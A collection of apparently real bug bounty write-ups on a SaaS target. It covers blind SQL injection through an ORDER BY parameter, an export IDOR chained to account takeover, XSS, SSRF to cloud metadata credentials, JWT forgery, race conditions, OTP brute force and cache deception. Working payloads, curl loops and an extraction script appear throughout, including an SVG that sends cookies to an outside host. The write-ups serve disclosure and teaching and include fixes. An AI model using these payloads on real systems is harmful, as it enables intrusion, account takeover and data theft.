Recon

The scope is a retail SaaS: a customer-facing storefront, a merchant back office, and api.target.tld serving both. Private program, invite received in mid-October. Out of scope: anything involving real customer orders, anything destructive, and automated scanning above a request per second.

I set up the usual two merchant accounts before realising I would not need either. The store locator is public by design: a postcode in, the nearest shops out. No session, no API key, no Origin check. Whatever it talks to, it talks to on behalf of the whole internet.

The front end is a Vue bundle. I ran it through prettier and grepped for fetch( to list what the public pages actually call. Eleven endpoints, ten of them taking no parameter worth the name. The eleventh builds a sort object:

const SORT_FIELDS = ['distance', 'name', 'city', 'opening_soon'];function search(postcode, radius, sortField = 'distance', sortDir = 'asc') {  return api.post('/api/v2/stores/search', {    postcode,    radius_km: radius,    sort: { field: sortField, dir: sortDir },  });}

Two values, sitting in the same object, looking equally harmless. The client only ever sends asc or desc for the second one, which is precisely the kind of assumption that stops being true the moment somebody stops using the client.

The first signal

The normal request is unremarkable.

POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"distance","dir":"asc"}}

HTTP/2 200 OKcontent-type: application/json{"stores":[{"id":4417,"name":"█████████ Bastille","distance_km":0.8}, ...]}

Sending a junk column name gets a clean rejection, which tells me an allowlist exists and that it is doing its job:

POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"nope","dir":"asc"}}

HTTP/2 400 Bad Requestcontent-type: application/json{"error":"invalid_sort_field","allowed":["distance","name","city","opening_soon"]}

So I tried the same thing one key to the right. Not a payload, just a word that is not asc:

POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc, city"}}

200, and the results came back ordered by name and then by city. The direction is not validated, and it is not a direction: it is the tail of the ORDER BY clause, and I am writing it.

That is the entire finding. Everything after this is just establishing how far it goes.

Dead ends

Two hours of nothing, which is the normal ratio. Three of those attempts are worth writing down, because each one told me something about the shape of the hole.

The first reflex was UNION, and it was simply the wrong tool. I spent twenty minutes building variants of this before the penny dropped:

POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc UNION SELECT null,null,null--"}}

HTTP/2 500 Internal Server Errorcontent-type: application/json{"error":"internal","request_id":"01JH████████████"}

UNION grafts a second result set onto a SELECT. I am not in the SELECT: I am in the ORDER BY, which runs after the rows have already been assembled. There is nothing left to union with. This is the specific trap of ORDER BY injection, and it is why the payload everyone knows is useless here. The lesson generalises: before reaching for a payload, work out which clause you are actually standing in.

Second, stacked queries. asc; SELECT 1 returned the same opaque 500, and so did every variant. The driver sends one statement per call, which closes the door on writes, on COPY, and on anything that would turn this into more than a read. That is a dead end for me and a relief for the program, and it is why the report asks for a confidentiality rating rather than a full compromise. A negative result that bounds the impact is worth reporting.

The third one is the interesting failure, because it almost worked. Before using timing, I built an oracle out of the result order itself:

POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc, (CASE WHEN (SELECT 1=1) THEN name ELSE city END)"}}

It works, in the sense that the condition does change the ordering. But the response only differs when sorting by name and sorting by city actually produce different lists, and for a postcode with four shops they frequently do not. So the oracle returns the same answer for true and for false, and it never tells you: there is no error, just a confident and wrong bit. I noticed because two consecutive characters came back identical in a string that should not have had a doubled letter.

That is the failure mode to be afraid of with blind injection. A rejected payload costs you twenty minutes. A noisy oracle costs you a report that triage cannot reproduce, and your credibility with that program. I threw the approach away rather than add heuristics on top of it, and moved to something with no ambiguity: a measurement.

Exploitation

PostgreSQL evaluates ORDER BY expressions per row, and a scalar subquery is a valid expression there. SELECT 1 FROM pg_sleep(4) returns one row holding 1, so it type-checks where a bare pg_sleep() would not.

POST /api/v2/stores/search HTTP/2Host: api.target.tldContent-Type: application/json{"postcode":"75011","radius_km":25,"sort":{"field":"name","dir":"asc, (CASE WHEN (SELECT substr(version(),12,2))='16' THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END)"}}

condition true   4.19s  4.22s  4.18s  4.25s  4.20scondition false  0.21s  0.19s  0.22s  0.20s  0.21s

A twenty-fold gap with no overlap. From there it is mechanical: one request per bit, binary search on each character.

1. Confirm the clause is mine. dir: "asc, city" changes the ordering with no error. No payload yet, nothing destructive, and it already proves concatenation.
2. Build the timing oracle. Wrap any boolean in CASE WHEN ... THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END. Calibrate against the baseline before trusting a single answer.
3. Fingerprint the context. version(), current_user, current_database(). This is what tells the program how bad it is: a superuser would have changed the severity.
4. Confirm reachable tables. One query against information_schema.tables for the existence of public.users, and one count(*) on it. Existence and a number, not contents.
5. Pull exactly one row. The email of the first account whose role is admin, to make the impact undeniable, then stop.

def ask(condition: str) -> bool:    payload = {        "postcode": "75011",        "radius_km": 25,        "sort": {            "field": "name",            "dir": f"asc, (CASE WHEN ({condition}) THEN (SELECT 1 FROM pg_sleep(4)) ELSE 2 END)",        },    }    started = time.monotonic()    session.post(URL, json=payload, timeout=20)    return time.monotonic() - started > 3.5

Proof

Where I stopped

Forty-one requests in just under three minutes, at roughly one every four seconds because the oracle is the rate limiter. I read one row: a single admin email, partially, enough to show it was a real account and not a seed fixture. I did not dump the table, did not touch password_hash, did not enumerate other schemas, and did not try to write anything, which the single-statement driver would have refused anyway. The account whose email I read was never contacted.

Impact

Anyone on the internet, with no account and no token, could read any table the API role can see. That is the entire application schema: merchants, store addresses, staff accounts and their password hashes, and the order tables I deliberately never looked at. The database user is not a superuser and the driver sends one statement at a time, so there is no write path and no code execution from here.

CVSS puts this at 7.5: confidentiality high, integrity and availability untouched. The program rated it critical anyway, and was right to. The formula does not know that the table contains password hashes for an authenticated back office, nor that a full read of this database would be a reportable data breach regardless of what the attacker then does with it. I reported it as high and said so; the gap between the score and the rating is worth stating in the report rather than quietly picking the bigger of the two.

The fix

I sent two recommendations, deliberately separated, because they do not have the same cost or the same lifespan.

Immediate mitigation, deployable the same evening: ignore dir entirely and hard-code the direction. The feature degrades to ascending-only sorting, which nobody will notice on a store locator, and the injection point closes within hours instead of within a sprint. They shipped this three hours after the report.

Proper fix: stop validating the input and start using it as a key. Both field and dir should index into a lookup table whose values are constants written by the developer, so that nothing the client sends ever reaches the query string. This is stronger than any sanitiser, because it removes the category of mistake rather than the instance: there is no escaping to get subtly wrong during a refactor, and a reviewer can confirm the query is safe by reading ten lines rather than by reasoning about inputs.

I also flagged a third item as a nice-to-have rather than a fix: the 400 response echoes the full list of allowed column names, which handed me the schema for free. It is not the vulnerability, and I said so.

The team shared the diff afterwards and allowed me to publish it. It is the lookup-table version:

-const SORT_FIELDS = ['distance', 'name', 'city', 'opening_soon'];+const SORT_FIELDS = {+  distance: 'distance_km',+  name: 'name',+  city: 'city',+  opening_soon: 'opens_at',+} as const;+const SORT_DIRS = { asc: 'ASC', desc: 'DESC' } as const; -  if (!SORT_FIELDS.includes(sort.field)) {-    return res.status(400).json({ error: 'invalid_sort_field', allowed: SORT_FIELDS });-  }-  const orderBy = `${sort.field} ${sort.dir ?? 'asc'}`;+  const column = SORT_FIELDS[sort.field as keyof typeof SORT_FIELDS];+  const direction = SORT_DIRS[sort.dir as keyof typeof SORT_DIRS];+  if (!column || !direction) {+    return res.status(400).json({ error: 'invalid_sort' });+  }+  const orderBy = `${column} ${direction}`;

Takeaways

• An allowlist protects the field it checks, and nothing else. Here one of two values in the same object was validated. If a reviewer had looked at the line below, this would never have shipped. When you find a working allowlist, immediately look at what is next to it.
• ORDER BY cannot be parameterised, so it is where injections survive. Placeholders only work for values. Any sort, any pagination key, any dynamic column name is concatenated by definition, which makes those parameters the first ones worth probing on an otherwise modern codebase.
• Map inputs to constants instead of validating them. A lookup table turns a validation problem into a type problem. The query then contains only strings the developer typed, which is a property you keep even after six refactors.
• Public endpoints get reviewed last and are reachable first. This one had no auth, no session, no CSRF token and no rate limit, because it has no data of its own. It sits in front of the same database as everything else.
• Calibrate an oracle before you believe it. My first approach inferred bits from result ordering and was wrong on some inputs without telling me. A noisy oracle does not produce an error, it produces a confident and incorrect dump, and you only find out when triage cannot reproduce it.

Recon

The program is private and the invite landed at the end of September. The scope fits in three lines: app.target.tld, api.target.tld, and any *.target.tld subdomain that serves the application itself. No phishing, no denial of service, no testing against other researchers’ accounts. Standard stuff.

The product is a sales-team management tool sold to ███████████████████, with organisations, roles (viewer, member, admin, owner) and per-seat billing. I create two free accounts in two separate organisations: mel+a@… (organisation A, my playground) and mel+b@… (organisation B, my test “victim”). That is the one discipline that matters in this kind of research - always having two contexts on hand, so you can prove a boundary crossing without ever touching a real customer’s data.

First reflex: the JavaScript bundle. app.target.tld serves a Vite build, and the source maps are not there - a shame - but the chunk split is enough: fifteen files, one of which, settings.*.js, holds the entire admin area. I run it through prettier and grep for strings that look like API routes. A hundred and sixty come out. Three catch my eye because they match nothing I have seen in the UI:

const EXPORT_ROUTES = {  list:    (org) => `/api/v3/orgs/${org}/exports`,  create:  (org) => `/api/v3/orgs/${org}/exports`,  full:    (org) => `/api/v3/orgs/${org}/exports/full`,  secrets: (org) => `/api/v3/orgs/${org}/exports/full?include_credentials=true`,};

The fourth entry is called nowhere in the bundle. It is just sitting there, most likely left over from an internal migration tool. That is the kind of thing worth an hour of attention.

The first signal

In the UI, the export does exist, but in a very well-behaved form: Settings → Billing → “Download my data”, which produces a CSV of invoices. The matching request is clean.

POST /api/v3/orgs/8f21c4a0-7b19-4e2d-9a55-0c1e7f33b210/exports HTTP/2Host: api.target.tldAuthorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Ijc5YT████████Content-Type: application/json{"type":"billing","format":"csv"}

The ID in the URL is organisation A’s UUID. It is also sitting in cleartext in my JWT payload, under the org key. In other words, the server already has that information: if it reads it from the URL instead of the token, that is a choice, and it is very often a choice that comes with no verification attached. I swap the UUID for organisation B’s - which I get legitimately, by logging into the second account.

HTTP/2 202 Acceptedcontent-type: application/jsonx-request-id: 01JGQ8████████████████████{"export_id":"exp_01JGQ8M2T4","status":"queued","org":"c37b9e51-…"}

202. Not 403. The server agreed to prepare an export for an organisation my token is not a member of. At this point I still have nothing: it remains to be seen whether the resulting file is retrievable, and what is in it.

Dead ends

The next two hours produced nothing, and that is normal. I am writing them down because writeups that never mention them give a false picture of the job.

Dead end one: the download. The retrieval URL returned by the API points at files.target.tld with a signature. A GET on that URL with my organisation A token returns a clean, unambiguous 403. So the access check does exist - it is just sitting in the wrong place, on the download rather than on the creation.

Dead end two: enumeration. I try to list organisation B’s exports to grab a predictable ID. GET /api/v3/orgs/{B}/exports returns 403. Only creation is broken. That kind of inconsistency between two verbs on the same route smells of middleware applied by hand, route by route.

Dead end three: the callback_url parameter. The API accepts it, but after twenty minutes watching my listener, no outbound request ever arrives. It is probably ignored server-side, or reserved for enterprise accounts. No SSRF here.

What unblocks the situation is silly: the notify_email field, which I had spotted in the bundle and dismissed as incidental. If export creation does not check the organisation, maybe it does not check who it emails the download link to either.

Exploitation

# $TOKEN_A: a token for MY organisation. $ORG_B: the target organisation.curl -s -X POST "https://api.target.tld/api/v3/orgs/$ORG_B/exports/full" \  -H "Authorization: Bearer $TOKEN_A" \  -H "Content-Type: application/json" \  -d '{        "type": "account_full",        "include_credentials": true,        "notify_email": "mel@research.example",        "format": "json"      }' | jq -r '.export_id'

Ninety seconds later, an email lands in my inbox with a signed link, valid for twenty-four hours. The link works with no token at all: the signature is the authorisation. The archive is 2.3 MB and contains twelve JSON files. The first eleven are business data - already more than enough for a report. The twelfth is called integrations.json.

{  "service_tokens": [    { "name": "ci-deploy",      "token": "svc_live_7Qa████████████████████████",      "scopes": ["orgs:read", "orgs:write", "members:write"],      "expires_at": null },    { "name": "zapier",      "token": "svc_live_1Kd████████████████████████",      "scopes": ["events:read"] }  ],  "webhook_signing_secret": "whsec_████████████████████"}

The first token carries members:write and never expires. The full chain then comes down to five steps.

1. Get the target organisation’s UUID. It leaks in several public responses, notably the team avatar served from cdn.target.tld/org/{uuid}/logo.png and the invitation page. No prior access required.
2. Create a full export with include_credentials. My organisation A token is enough: the creation route does not check membership.
3. Hijack the notification. notify_email is not validated against the organisation’s members; the signed link arrives straight in my inbox.
4. Pull the service token. integrations.json hands over a members:write token with no expiry.
5. Add myself as owner. One POST /api/v3/orgs/{B}/members authenticated with that token, and the account is mine.

POST /api/v3/orgs/c37b9e51-2d4a-41f8-bb07-9e5a1c88de34/members HTTP/2Host: api.target.tldAuthorization: Bearer svc_live_7Qa████████████████████████Content-Type: application/json{"email":"mel@research.example","role":"owner","skip_invite":true}

HTTP/2 201 Createdcontent-type: application/json{"id":"mem_01JGQ9","role":"owner","status":"active","invited_by":"svc:ci-deploy"}

No invitation, no email to the victim, no visible trace in the UI until someone next opens the Members page. I stop there: I do not log into organisation B with that role beyond a single screenshot of the member list, and I remove the access straight away.

Then there is the question of reach. The program advertises “several hundred customer organisations”, and the organisation UUID is a random identifier, so it is not blind-enumerable - but it leaks in enough public places (team logos, shared invitation pages, old indexed links) that a target list builds itself with no effort. I stick to the two organisations I control for the demonstration, and I list the three UUID leak sources in the report rather than exploiting them: it is up to the program to decide whether it wants an estimate of how many accounts are actually reachable.

Proof

The fix

The team fixed it in two passes: an emergency block on include_credentials first, then the real fix on authorisation. The diff was shared with me afterwards, with permission to publish this excerpt.

@@ -14,11 +14,22 @@ export async function createExport(req, res) {-  const { orgId } = req.params;-  const org = await Org.findByPk(orgId);-  if (!org) return res.status(404).json({ error: 'not_found' });+  const { orgId } = req.params;++  // The organisation now comes from the token, never from the URL.+  if (orgId !== req.auth.orgId) {+    return res.status(403).json({ error: 'forbidden' });+  }+  if (!(await can(req.auth, 'export:create', orgId))) {+    return res.status(403).json({ error: 'forbidden' });+  }+  const org = await Org.findByPk(orgId);+  if (!org) return res.status(404).json({ error: 'not_found' }); -  const includeCredentials = req.body.include_credentials ?? false;+  // Secrets never leave in an export again, whoever is asking.+  const includeCredentials = false;+  const notifyEmail = await resolveMemberEmail(req.auth, req.body.notify_email);

Service tokens across every organisation were invalidated in the same window, and a forced rotation of webhook secrets was triggered. That is the right reaction: as long as nobody knows how long the route had been open, the secrets have to be treated as compromised.

Takeaways

• An ID in the URL that is already in the token is a question, not a fact. Anywhere the two coexist, somebody has to decide which one is authoritative - and the answer is very often “neither, explicitly”.
• An access check on the download does not protect the generation. Here the 403 on the signed link created the illusion of a locked route, while the leak was in creation, with an alternative delivery channel attached.
• Incidental parameters are rarely incidental. notify_email looks like a convenience feature; it is actually the exfiltration channel that turns an IDOR into a full chain.
• An export needs an allowlist of fields, never a denylist. integrations.json ended up in the archive because the exporter serialises a whole object and then strips what is sensitive. The other way round would have held.
• Dead ends are work, not wasted time. The three failures above are what mapped the surface: without them I would not have known that only creation was vulnerable, and the report would have been far less precise.

If you find something similar on a program, try the creation route before the read route: it is almost always the read path that gets protected first.

The behaviour

The app accepts attachments in shared workspaces. The filename is shown in the list, in the preview, and in the notification sent to other members. On upload, the server applies perfectly correct HTML escaping:

POST /api/files HTTP/2Host: app.target.tldContent-Type: multipart/form-data; boundary=----x------xContent-Disposition: form-data; name="file"; filename="<img src=x onerror=alert(1)>.pdf"

In the list, the name comes back properly as <img src=x onerror=alert(1)>.pdf. Apparent dead end.

What unblocks it

The preview, however, runs the name through a “display cleanup” function that normalises to NFKC so Unicode variants line up. NFKC turns certain compatibility characters into their ASCII equivalents. Send the fullwidth variants ＜ and ＞ (U+FF1C and U+FF1E) and the upload-time escaping sees nothing wrong - those are not angle brackets - then normalisation converts them back to < and >, after the escaping has already run.

const safe = escapeHtml(file.name);          // ＜img …＞ passes through untouched// … stored, then, when rendering the preview:const shown = safe.normalize('NFKC');        // ＜ becomes < againpreview.innerHTML = `<span>${shown}</span>`; // stored XSS

Takeaways

• Normalising after escaping undoes the escaping. The order of those two operations is the entire vulnerability; each function, read on its own, is beyond reproach.
• A field escaped once is not escaped everywhere. Here the list was safe and the preview was not, for the same piece of data.
• Testing the Unicode variants of <, > and " should be reflex on any field that crosses more than one rendering component.

Finding it

The template editor accepts a subset of HTML for the invoice header. <script> tags are stripped; <img> is not - which makes sense, since the whole point is to put a logo there. Rendering happens server-side, in headless Chrome.

<img src="https://oast.████████.oastify.com/ping" width="1" height="1">

The DNS callback lands twelve seconds after the PDF is generated, from the cloud provider’s address range. So outbound network access is open, and rendering really does happen inside their infrastructure, not on the client.

Escalation

# the generated PDF contains whatever the metadata endpoint returns<img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" >

The PDF comes back with the role name spelled out. A second render against the full path returns the temporary credentials. I stop at proof: I make no API call with those credentials, I include them truncated in the report, and I ask for immediate revocation.

Takeaways

• Any server-side HTML rendering is an HTTP client. PDFs, thumbnails, link previews, importers: the question is not whether it reaches the network, but where.
• Stripping <script> protects nothing here. The attack goes through a resource, not through code.
• IMDSv2 and a renderer-level domain allowlist would each have broken the chain independently.

How you land on it

A subdomain sweep turns up admin.target.tld, which 302s to SSO. Standard, and properly locked. But the back-office JavaScript, served before the redirect, mentions a second base URL:

const API_BASE = window.__CFG__.adminApi ?? '/admin-api';

/admin-api/whoami answers 401 with no redirect. So: a separate authentication path. And the error body hands over a clue:

HTTP/2 401 Unauthorizedcontent-type: application/json{"error":"missing_identity_header","expected":"X-Forwarded-User"}

Exploitation

GET /admin-api/users?limit=5 HTTP/2Host: admin.target.tldX-Forwarded-User: ||system.administrator@target.tld||

HTTP/2 200 OKcontent-type: application/json{"users":[{"id":1,"email":"████████████████","role":"superadmin"}, …]}

No password, no token, no interaction. I stop at five records and report.

Takeaways

• A trusted header must be stripped at the boundary, not per route. The stripping rule belongs to the entry point, for everything that sits behind it.
• An error message that names the expected header does half the attacker’s work. 401 on its own would have been plenty.
• Back-office JS bundles are served before the SSO redirect in most setups: they describe the internal architecture to anyone who takes the time to read them.

The window

The cart code, reconstructed from observed behaviour, does three things in this order: it reads the coupon, it calls the billing service, then it writes the new counter. The network call in the middle opens a window of several tens of milliseconds during which every concurrent request reads the same value.

const coupon = await db.coupon.findOne({ code });        // readif (coupon.uses >= coupon.maxUses) throw new Error('used');const invoice = await billing.apply(cart, coupon);       // ← the windowawait db.coupon.update({ code }, { uses: coupon.uses + 1 });

Confirmation

Forty requests sent in a single HTTP/2 packet, to remove network jitter between them:

python3 race.py --target https://app.target.tld/api/cart/apply-coupon \  --concurrency 40 --single-packet \  --body '{"code":"WELCOME50"}' \  --cookie "session=████████████████"

HTTP/2 200 OK   × 37HTTP/2 409 Conflict × 3

Thirty-seven 50% discounts applied against a coupon flagged maxUses: 1. The final counter in the database read 1.

Takeaways

• Any read → decide → write with a network call inside it is a race condition. The question is not whether the window exists, but whether anyone knows how to aim at it.
• The fix is not an application-level lock but a conditional write: UPDATE … SET uses = uses + 1 WHERE code = ? AND uses < max_uses, then check the affected row count.
• The final counter read 1. No business dashboard anywhere would have flagged the abuse.

The signal

First reflex on any application: ask for the source maps of the bundles being served.

for f in $(curl -s https://app.target.tld/ | grep -oE '/assets/[^"]+\.js'); do  curl -s -o /dev/null -w "%{http_code} $f.map\n" "https://app.target.tld$f.map"done

200 /assets/index.9f1c2a.js.map200 /assets/admin.4b77de.js.map404 /assets/vendor.88c01f.js.map

The second file had no business being there: the admin interface is not meant to be served from the same domain as the customer-facing app.

What was inside

Reconstruction gives the full project tree, the developers’ comments, and two constants that should never have left the repository:

export const INTERNAL = {  adminHost: 'ops-████████.internal.target.tld',  mailApiKey: 'SG.████████████████████████████',  featureFlags: ['billing_v3', 'sso_scim', 'export_full'],};

The messaging key was still live - verified with a single read-only call to the provider’s profile endpoint, without sending a single message. The feature flags, meanwhile, shaped the next piece of research: export_full is exactly the route that produced the account takeover two months later.

Takeaways

• .js.map belongs in the bare minimum checklist, on every bundle, on every deployment.
• A source map does not only leak code: it leaks the tree, the comments and the internal names, which steer everything you look at next.
• An exposed key gets verified with the least intrusive call available, never with an action that produces a visible side effect.

The flow

Log in with an email, receive a six-digit code, submit it. The UI blocks you after five wrong codes and the API answers 429 on the sixth within a minute. That part works.

The API is GraphQL. And GraphQL lets you ask the same field several times in one document, as long as each one gets its own alias.

POST /graphql HTTP/2Host: api.target.tldContent-Type: application/json{"query":"mutation { a0: verify(code:\"000000\") { token }                      a1: verify(code:\"000001\") { token }                      a2: verify(code:\"000002\") { token } }"}

One HTTP request. One increment of the counter. Three verification attempts, or ten thousand if you feel like it. A six-digit space is a million codes, so a full sweep takes a hundred requests at ten thousand aliases each, well inside the five-per-minute budget.

HTTP/2 200 OKcontent-type: application/json{"data":{"a0":null,"a1":null,"a2":{"token":"eyJhbGciOi████"}}}

The response hands back which alias succeeded, so you do not even need to compare timings.

Takeaways

• A rate limiter that counts HTTP requests does not limit anything on a GraphQL endpoint. The unit of work is the resolver call, not the request.
• Query depth and alias count are inputs too. Cap them, the same way you cap a request body size.
• A partial-success response that names the winning alias turns a blind attack into an instant one.

The signal

Decoding a session token shows the header:

{ "alg": "RS256", "kid": "keys/prod-2026-04.pem", "typ": "JWT" }

A relative path with a slash in it. That is not a key identifier, that is a filename being handed to a loader. The first thing to try is whether the loader resolves anything else.

# a kid that points outside the keys directorypython3 jwt_tool.py "$TOKEN" -I -hc kid -hv "../../../../dev/null" -S hs256 -p ""

/dev/null reads as an empty file. If the library falls back to HMAC when the loaded key is empty, the signature is an HMAC with an empty secret, which anyone can compute. The forged token was accepted on the first try.

HTTP/2 200 OKcontent-type: application/json{"user":{"id":1,"email":"████████████████","role":"owner"}}

Takeaways

• kid is an identifier, not a path. Look it up in a fixed map and reject anything that is not a key of that map.
• An empty key must be a hard failure, never a fallback to a symmetric algorithm.
• Pin the algorithm server-side. The token should never get a say in how it is verified.

The upload

POST /api/profile/avatar HTTP/2Host: app.target.tldContent-Type: multipart/form-data; boundary=----x------xContent-Disposition: form-data; name="file"; filename="avatar.svg"Content-Type: image/svg+xml<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('https://████.oastify.com/?c='+document.cookie)</script></svg>

The file is accepted, stored, and served back from app.target.tld/uploads/…, same origin as the application, with Content-Type: image/svg+xml and no Content-Disposition: attachment.

Inside an <img> tag the script does not run, which is what the team had tested. But the avatar is also a link to the full-size file, and the agent interface opens it in a new tab. At that point the browser treats it as a document, not an image, and the script runs with the agent’s session.

Takeaways

• Serving SVG from your application origin is serving HTML. Either rasterise it on upload, or serve user files from a separate domain with no session.
• Testing the payload inside <img> proves nothing. The dangerous context is direct navigation, which every file preview eventually offers.
• Content-Disposition: attachment is the cheap mitigation while the real fix ships.

The disagreement

GET /account/settings/anything.css HTTP/2Host: app.target.tldCookie: session=████████████████

HTTP/2 200 OKcontent-type: text/html; charset=utf-8cache-control: public, max-age=600x-cache: MISS

Two things are wrong in that response. The origin served the HTML account page despite the .css suffix, because its router matches on the /account/settings prefix and ignores the rest. And the edge rewrote Cache-Control to public because the extension matched its static asset rule.

Ten minutes later, the same URL fetched with no cookies at all:

HTTP/2 200 OKcontent-type: text/html; charset=utf-8x-cache: HIT<h1>Account settings</h1><div class="email">████████████████</div>

Exploitation

The victim does not have to click anything unusual. Any link to app.target.tld/account/settings/x.css works: the first authenticated person to load it fills the cache, and everyone after that reads their page.

Takeaways

• The cache key and the routing rule must agree on what identifies a page. Here one looked at the suffix and the other at the prefix.
• An origin that ignores trailing path segments is the real bug. The CDN rule only makes it exploitable.
• Never let the edge upgrade a response to public. The origin owns cacheability, and authenticated responses should carry private explicitly.

What was checked, and what was not

The handler verified the HMAC over the raw body. It did not look at the t= component of the signature header, which carries the timestamp the signature covers. So a captured callback stayed valid forever.

for i in $(seq 1 20); do  curl -s -X POST https://api.target.tld/webhooks/payments \    -H "X-Signature: t=1746███████,v1=████████████████" \    -H "Content-Type: application/json" \    --data-binary @captured.json &done; wait

The idempotency key in the payload was checked, but with a findOne before the balance update rather than a unique constraint inside the transaction. Twenty parallel requests all read “not seen yet”, and all twenty credited the balance.

HTTP/2 200 OKcontent-type: application/json{"balance": 20 × ████, "currency":"EUR"}

Takeaways

• Verifying a signature proves authorship, not freshness. Compare the signed timestamp to your clock and reject anything outside a few minutes.
• An idempotency key is only idempotent if the database enforces it. A findOne check is a read, and reads race.
• Webhook handlers deserve the same concurrency testing as checkout flows. They move money with no user in front of them.

The whole thing

GET /billing/invoices/80422/pdf HTTP/2Host: app.target.tldCookie: session=████████████████

Decrement by one:

HTTP/2 200 OKcontent-type: application/pdfcontent-disposition: inline; filename="INV-80421.pdf"

A PDF belonging to a different company, with its legal name, billing address, contact email and line items. No 403, no ownership check, no rate limit. I read three invoices to establish the pattern, confirmed they were not mine, and stopped.

Why it survived

The invoice route was added before the platform grew an authorisation layer, and it sits in an older router that the newer middleware never got mounted on. Nothing in the code looks wrong when you read that file on its own, which is exactly why reading a single file is not a review.

Takeaways

• Try the boring thing first. Sequential identifiers in a URL are still the fastest finding in the book.
• Authorisation middleware applied per router is authorisation you will forget to mount. Default to deny at the framework level.
• Stop at three. You only need enough to prove the pattern, and every extra record is someone’s real data.